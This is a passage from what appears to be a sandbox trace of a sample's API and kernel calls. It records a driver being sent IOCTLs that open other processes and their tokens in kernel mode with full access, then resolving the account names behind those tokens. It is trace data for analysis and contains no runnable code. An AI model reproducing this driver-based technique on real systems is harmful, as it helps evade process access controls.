lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0123.160] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.160] PsAcquireProcessExitSynchronization () returned 0x0 [0123.160] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880044355d0) [0123.160] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800202d760, HandleInformation=0x0) returned 0x0 [0123.160] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.160] PsReleaseProcessExitSynchronization () returned 0x2 [0123.160] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0123.160] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.160] ObfDereferenceObject (Object=0xfffffa800202d760) returned 0x1 [0123.160] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.160] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.160] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.160] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.160] PsLookupProcessByProcessId (in: ProcessId=0x9a0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.160] PsAcquireProcessExitSynchronization () returned 0x0 [0123.160] KeStackAttachProcess (in: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020222d0, ApcState=0xfffff880044355d0) [0123.161] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.161] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.161] PsReleaseProcessExitSynchronization () returned 0x2 [0123.161] ObfDereferenceObject (Object=0xfffffa80020222d0) returned 0x10 [0123.161] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.161] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.161] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.161] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.161] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9b0) returned 0xc0 [0123.161] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.161] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002049740, HandleInformation=0x0) returned 0x0 [0123.161] ObOpenObjectByPointer (in: Object=0xfffffa8002049740, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.161] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x12 [0123.161] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.161] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.161] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.161] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.161] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.163] CloseHandle (hObject=0xc8) returned 1 [0123.163] CloseHandle (hObject=0xc0) returned 1 [0123.163] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.163] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.163] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.163] PsAcquireProcessExitSynchronization () returned 0x0 [0123.163] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880044355d0) [0123.163] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002056980, HandleInformation=0x0) returned 0x0 [0123.163] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.163] PsReleaseProcessExitSynchronization () returned 0x2 [0123.163] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0123.163] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.163] ObfDereferenceObject (Object=0xfffffa8002056980) returned 0x1 [0123.163] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.163] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.163] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.163] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0123.163] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.163] PsAcquireProcessExitSynchronization () returned 0x0 [0123.163] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880044355d0) [0123.163] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002056830, HandleInformation=0x0) returned 0x0 [0123.163] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.163] PsReleaseProcessExitSynchronization () returned 0x2 [0123.163] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0123.164] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.164] ObfDereferenceObject (Object=0xfffffa8002056830) returned 0x1 [0123.164] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.164] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.164] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.164] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.164] PsLookupProcessByProcessId (in: ProcessId=0x9b0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.164] PsAcquireProcessExitSynchronization () returned 0x0 [0123.164] KeStackAttachProcess (in: PROCESS=0xfffffa8002049740, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002049740, ApcState=0xfffff880044355d0) [0123.164] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.164] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.164] PsReleaseProcessExitSynchronization () returned 0x2 [0123.164] ObfDereferenceObject (Object=0xfffffa8002049740) returned 0x10 [0123.164] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.164] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.164] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.164] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.164] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9c0) returned 0xc0 [0123.164] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.164] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80020974e0, HandleInformation=0x0) returned 0x0 [0123.164] ObOpenObjectByPointer (in: Object=0xfffffa80020974e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.164] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x12 [0123.164] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.164] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.164] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.164] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.164] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.166] CloseHandle (hObject=0xc8) returned 1 [0123.166] CloseHandle (hObject=0xc0) returned 1 [0123.166] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.166] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.166] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.166] PsAcquireProcessExitSynchronization () returned 0x0 [0123.166] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880044355d0) [0123.166] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002097e10, HandleInformation=0x0) returned 0x0 [0123.166] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.166] PsReleaseProcessExitSynchronization () returned 0x2 [0123.166] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0123.167] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.167] ObfDereferenceObject (Object=0xfffffa8002097e10) returned 0x1 [0123.167] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.167] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.167] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.167] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x9a, lpOverlapped=0x0) returned 1 [0123.167] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.167] PsAcquireProcessExitSynchronization () returned 0x0 [0123.167] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880044355d0) [0123.167] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002099260, HandleInformation=0x0) returned 0x0 [0123.167] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.167] PsReleaseProcessExitSynchronization () returned 0x2 [0123.167] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0123.167] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.167] ObfDereferenceObject (Object=0xfffffa8002099260) returned 0x1 [0123.167] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.167] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.167] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.167] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.167] PsLookupProcessByProcessId (in: ProcessId=0x9c0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.167] PsAcquireProcessExitSynchronization () returned 0x0 [0123.167] KeStackAttachProcess (in: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80020974e0, ApcState=0xfffff880044355d0) [0123.167] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.167] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.167] PsReleaseProcessExitSynchronization () returned 0x2 [0123.167] ObfDereferenceObject (Object=0xfffffa80020974e0) returned 0x10 [0123.167] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.167] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.167] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.167] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.167] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9d0) returned 0xc0 [0123.167] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.168] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800205b100, HandleInformation=0x0) returned 0x0 [0123.168] ObOpenObjectByPointer (in: Object=0xfffffa800205b100, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.168] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x12 [0123.168] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.168] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.168] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.168] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.168] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.169] CloseHandle (hObject=0xc8) returned 1 [0123.169] CloseHandle (hObject=0xc0) returned 1 [0123.169] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.169] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.169] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.169] PsAcquireProcessExitSynchronization () returned 0x0 [0123.169] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880044355d0) [0123.169] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80020ab970, HandleInformation=0x0) returned 0x0 [0123.169] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.170] PsReleaseProcessExitSynchronization () returned 0x2 [0123.170] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0123.170] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.170] ObfDereferenceObject (Object=0xfffffa80020ab970) returned 0x1 [0123.170] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.170] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.170] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.170] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x80, lpOverlapped=0x0) returned 1 [0123.170] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.170] PsAcquireProcessExitSynchronization () returned 0x0 [0123.170] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880044355d0) [0123.170] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001a3ddd0, HandleInformation=0x0) returned 0x0 [0123.170] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.170] PsReleaseProcessExitSynchronization () returned 0x2 [0123.170] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0123.170] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435508) returned 0x0 [0123.170] ObfDereferenceObject (Object=0xfffffa8001a3ddd0) returned 0x1 [0123.170] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.170] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.170] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.170] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.170] PsLookupProcessByProcessId (in: ProcessId=0x9d0, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.170] PsAcquireProcessExitSynchronization () returned 0x0 [0123.170] KeStackAttachProcess (in: PROCESS=0xfffffa800205b100, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800205b100, ApcState=0xfffff880044355d0) [0123.170] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.170] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.170] PsReleaseProcessExitSynchronization () returned 0x2 [0123.170] ObfDereferenceObject (Object=0xfffffa800205b100) returned 0x10 [0123.170] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037a2444, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80037a2444, ReturnLength=0xfffff88004435550) returned 0x0 [0123.170] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.170] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0123.171] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.171] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9e0) returned 0xc0 [0123.171] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.171] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002044060, HandleInformation=0x0) returned 0x0 [0123.171] ObOpenObjectByPointer (in: Object=0xfffffa8002044060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.171] ObfDereferenceObject (Object=0xfffffa8002044060) returned 0x12 [0123.171] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.171] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.171] IofCompleteRequest (Irp=0xfffffa80023d62b0, 